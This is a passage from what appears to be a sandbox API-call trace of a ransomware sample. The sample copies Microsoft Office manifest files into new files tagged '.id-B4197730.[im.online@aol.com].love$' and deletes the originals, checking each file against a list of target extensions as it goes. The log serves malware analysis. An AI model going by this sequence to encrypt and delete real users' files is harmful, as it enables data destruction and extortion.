lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0115.413] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0115.415] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0115.415] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.415] SetEndOfFile (hFile=0x344) returned 1 [0115.415] CloseHandle (hObject=0x344) returned 1 [0115.418] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.418] SetEndOfFile (hFile=0x354) returned 1 [0115.419] CloseHandle (hObject=0x354) returned 1 [0115.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0115.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.420] lstrlenW (lpString=".doc") returned 4 [0115.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.420] lstrlenW (lpString=".docx") returned 5 [0115.420] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.420] lstrlenW (lpString=".pdf") returned 4 [0115.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.420] lstrlenW (lpString=".xls") returned 4 [0115.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString=".xlsx") returned 5 [0115.421] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.421] lstrlenW (lpString=".ppt") returned 4 [0115.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.421] lstrlenW (lpString=".zip") returned 4 [0115.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.421] lstrlenW (lpString=".rar") returned 4 [0115.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString=".bz2") returned 4 [0115.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString=".7z") returned 3 [0115.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.421] lstrlenW (lpString=".dbf") returned 4 [0115.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.421] lstrlenW (lpString=".1cd") returned 4 [0115.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.421] lstrlenW (lpString=".jpg") returned 4 [0115.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.422] lstrlenW (lpString=".doc") returned 4 [0115.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString=".docx") returned 5 [0115.422] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.422] lstrlenW (lpString=".pdf") returned 4 [0115.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString=".xls") returned 4 [0115.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString=".xlsx") returned 5 [0115.422] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.422] lstrlenW (lpString=".ppt") returned 4 [0115.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.422] lstrlenW (lpString=".zip") returned 4 [0115.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.422] lstrlenW (lpString=".rar") returned 4 [0115.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString=".bz2") returned 4 [0115.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString=".7z") returned 3 [0115.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.422] lstrlenW (lpString=".dbf") returned 4 [0115.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.422] lstrlenW (lpString=".1cd") returned 4 [0115.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0115.423] lstrlenW (lpString=".jpg") returned 4 [0115.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.423] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.423] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0115.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.423] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3754) returned 1 [0115.423] CloseHandle (hObject=0x354) returned 1 [0115.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0115.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.424] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.424] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0115.425] GetLastError () returned 0x0 [0115.425] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xeaa, lpOverlapped=0x0) returned 1 [0115.428] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0115.429] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0115.429] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.429] SetEndOfFile (hFile=0x344) returned 1 [0115.429] CloseHandle (hObject=0x344) returned 1 [0115.433] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.433] SetEndOfFile (hFile=0x354) returned 1 [0115.434] CloseHandle (hObject=0x354) returned 1 [0115.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString=".doc") returned 4 [0115.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString=".docx") returned 5 [0115.435] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.435] lstrlenW (lpString=".pdf") returned 4 [0115.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString=".xls") returned 4 [0115.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString=".xlsx") returned 5 [0115.435] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.435] lstrlenW (lpString=".ppt") returned 4 [0115.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString=".zip") returned 4 [0115.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.435] lstrlenW (lpString=".rar") returned 4 [0115.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString=".bz2") returned 4 [0115.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString=".7z") returned 3 [0115.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString=".dbf") returned 4 [0115.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString=".1cd") returned 4 [0115.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString=".jpg") returned 4 [0115.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.436] lstrlenW (lpString=".doc") returned 4 [0115.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString=".docx") returned 5 [0115.436] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.436] lstrlenW (lpString=".pdf") returned 4 [0115.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString=".xls") returned 4 [0115.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString=".xlsx") returned 5 [0115.436] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.436] lstrlenW (lpString=".ppt") returned 4 [0115.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.436] lstrlenW (lpString=".zip") returned 4 [0115.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.436] lstrlenW (lpString=".rar") returned 4 [0115.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString=".bz2") returned 4 [0115.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString=".7z") returned 3 [0115.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.436] lstrlenW (lpString=".dbf") returned 4 [0115.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.436] lstrlenW (lpString=".1cd") returned 4 [0115.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0115.436] lstrlenW (lpString=".jpg") returned 4 [0115.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.436] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.437] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0115.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.437] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1261) returned 1 [0115.437] CloseHandle (hObject=0x354) returned 1 [0115.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0115.437] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.437] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0115.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0115.442] GetLastError () returned 0x0 [0115.442] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0116.540] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0116.541] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0116.543] WriteFile (in: hFile=0x344, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0116.544] SetEndOfFile (hFile=0x344) returned 1 [0116.544] CloseHandle (hObject=0x344) returned 1 [0116.548] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.549] SetEndOfFile (hFile=0x354) returned 1 [0116.550] CloseHandle (hObject=0x354) returned 1 [0116.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0116.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.551] lstrlenW (lpString=".doc") returned 4 [0116.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.551] lstrlenW (lpString=".docx") returned 5 [0116.551] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.551] lstrlenW (lpString=".pdf") returned 4 [0116.551] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.551] lstrlenW (lpString=".xls") returned 4 [0116.551] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.551] lstrlenW (lpString=".xlsx") returned 5 [0116.551] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.551] lstrlenW (lpString=".ppt") returned 4 [0116.551] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString=".zip") returned 4 [0116.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.552] lstrlenW (lpString=".rar") returned 4 [0116.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString=".bz2") returned 4 [0116.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString=".7z") returned 3 [0116.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString=".dbf") returned 4 [0116.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString=".1cd") returned 4 [0116.552] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString=".jpg") returned 4 [0116.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.552] lstrlenW (lpString=".doc") returned 4 [0116.552] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString=".docx") returned 5 [0116.552] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0116.552] lstrlenW (lpString=".pdf") returned 4 [0116.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.552] lstrlenW (lpString=".xls") returned 4 [0116.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.553] lstrlenW (lpString=".xlsx") returned 5 [0116.553] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0116.553] lstrlenW (lpString=".ppt") returned 4 [0116.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.553] lstrlenW (lpString=".zip") returned 4 [0116.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.553] lstrlenW (lpString=".rar") returned 4 [0116.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.553] lstrlenW (lpString=".bz2") returned 4 [0116.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.553] lstrlenW (lpString=".7z") returned 3 [0116.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.554] lstrlenW (lpString=".dbf") returned 4 [0116.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.554] lstrlenW (lpString=".1cd") returned 4 [0116.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0116.555] lstrlenW (lpString=".jpg") returned 4 [0116.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.555] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0116.555] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0116.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.555] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=1261) returned 1 [0116.556] CloseHandle (hObject=0x354) returned 1 [0116.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0116.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 